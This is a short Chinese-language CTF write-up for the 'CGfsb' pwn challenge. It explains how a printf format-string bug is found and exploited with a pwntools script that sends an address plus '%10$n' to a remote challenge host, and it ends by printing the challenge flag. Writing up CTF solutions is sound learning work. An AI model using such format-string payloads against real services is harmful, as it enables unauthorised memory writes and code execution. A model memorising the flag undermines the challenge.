Description:
菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
Solution:
先checksec,没有PIE(没有开启地址空间随机化)再file(dynamically linked→动态链接)运行一下扔到IDA里看看(32位的)可以看到 pwnme == 8 时会执行 system(“cat flag”);
不过 pwnme == 8 并不重要,重要的是如何执行 system(“cat flag”);
可以看到上面一句有一个 printf(&s);
就会想到格式化字符串漏洞
我们双击 pwnme == 8 的 pwnme ,看到 pwnme 的地址然后去确定偏移量从aaaa的后面一段地址一直数到 61616161 一共10个,确定偏移量为10
接下来就可以构造payload了from pwn import * # r = process('./cgfsb') r = remote('111.198.29.45', '31310') r.recvuntil("please tell me your name:") r.send('') r.recvuntil("leave your message please:") payload = p32(0x0804A068) r.send(payload + 'aaaa%10$n') r.interactive()
1.p32() 可以让我们转换整数到小端序格式,p32转换4byte,p64和p16 则分别转换8 byte和2 byte的整数
2.%num$x 是直接读取第num个位置的参数(在linux下有用,win下没用)
最后运行,之前忘截图了,用本地文件演示了,不过没有flag文件
本人也是小白,多亏了这位博主的多篇文章帮助理解
https://blog.csdn.net/qq_43394612/article/details/85196669
Flag:
xctf{fd4b59af511c633a933047cc90c89f1d}